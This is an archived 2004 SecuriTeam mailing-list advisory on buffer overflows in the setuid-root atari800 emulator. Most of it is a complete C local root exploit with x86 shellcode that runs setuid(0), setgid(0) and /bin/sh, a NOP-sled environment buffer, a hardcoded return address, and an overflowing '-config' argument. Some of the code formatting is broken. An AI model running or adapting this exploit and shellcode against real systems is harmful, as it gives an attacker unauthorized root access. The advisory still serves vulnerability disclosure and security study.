

# [UNIX] Atari800 Multiple Buffer Overflows (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0067.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 07/21/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 21 Jul 2004 11:14:22 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Atari800 Multiple Buffer Overflows (Exploit)

---

## SUMMARY

Steve Kemp discovered multiple buffer overflows in <http://atari800.sourceforge.net/> atari800, an Atari emulator. In order to directly access graphics hardware, one of the affected programs is setuid root. A local attacker could exploit this vulnerability to gain root privileges.

## DETAILS

Vulnerable Systems:

- \* atari800 version 1.3.0 and prior

Exploit:

/\*

\* Exploit for atari800 version 1.3.0 by pi3 (pi3ki31ny)

\* Bug founed by Steve Kemp

\* Greetz: [greetz on my web] && other my friends (you know who you are)

\*

\* ..... =[ www.pi3.int.pl ]=- :.....

\*/

#include <stdio.h>

## Securiteam: [UNIX] Atari800 Multiple Buffer Overflows (Exploit)

```
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "/usr/local/bin/atari800"
#define BUFS 250

/* ...::: -=[ www.pi3.int.pl ]=- ::... */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
    "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
    "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
    "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
    "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
    "\x80"

/* setuid(0) */

    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/* setgid(0) */

    "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/* exec /bin/sh */

    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
    "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
    "\x80"

/* exit(0) */

    "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {

// return (0xbffffffa-strlen(a1)-strlen(a2));
    return 0xbfffee01;
}

int usage(char *arg) {

    printf("\n\t...::: -=[ exploit for atari800 version 1.3.0 by pi3"
(pi3ki31ny) ]=- ::... \n");
    printf("\n\tUsage:\n\t[+] %s [options]\n
    -? <this help screen>
    -o <offset>
    -p PATH\n\n",arg);
    exit(-1);
}
}
```

## Securiteam: [UNIX] Atari800 Multiple Buffer Overflows (Exploit)

```
int main(int argc, char *argv[]) {

    long ret,*buf_addr;
    char *buf,envp[8196],*path=PATH;
    static char *sh[0x02];
    int i,opt,offset=0;
    FILE *fp;

    while((opt = getopt(argc,argv,"p:o:?")) != -1) {
        switch(opt) {

            case 'o':

                offset=atoi(optarg);
                break;

            case 'p':

                path=optarg;
                break;

            case '?':
            default:

                usage(argv[0]);
                break;
        }
    }

    if ( (fp=fopen(path,"r"))==NULL) {
        printf("\n*\tI can\t open path to victim! - %s\t*\n\n",path);
        usage(argv[0]);
    } fclose(fp);

    if (!(buf=(char*)malloc(BUFS))) {
        printf("\nI can\t locate memory! - buf\n");
        exit(-1);
    }

    printf("\n\t...:: --[ exploit for atari800 version 1.3.0 by pi3
(pi3ki31ny) ]=- ::...\n");
    printf("\n\t[+] Bulding buffers!\n");

    ret=ret_ad(shellcode,path);
    ret+=offset;

    printf("\t[+] Using adres 0x%x\n",ret);

    memset(envp,0x90,sizeof(envp));
    for (i=0; i<strlen(shellcode); i++)
        envp[8196-strlen(shellcode)+i] = shellcode[i];
```

## Securiteam: [UNIX] Atari800 Multiple Buffer Overflows (Exploit)

```
sh[0x00]=envp;
sh[0x01]=NULL;

strcpy(buf,"AA");
buf_addr=(long*)&buf[2];

for(i=0;i<BUFS;i+=4) {
    *(buf_addr) = ret; buf_addr++;
}

printf("\nExecuting the vuln program - %s\n\n",path);

execl(path,path,"-config", buf, 0, sh);

return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by pi3.

The original article can be found at:

<http://www.cnhonker.com/index.php?module=exploits&act=view&type=6&id=586>

<http://www.cnhonker.com/index.php?module=exploits&act=view&type=6&id=586>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.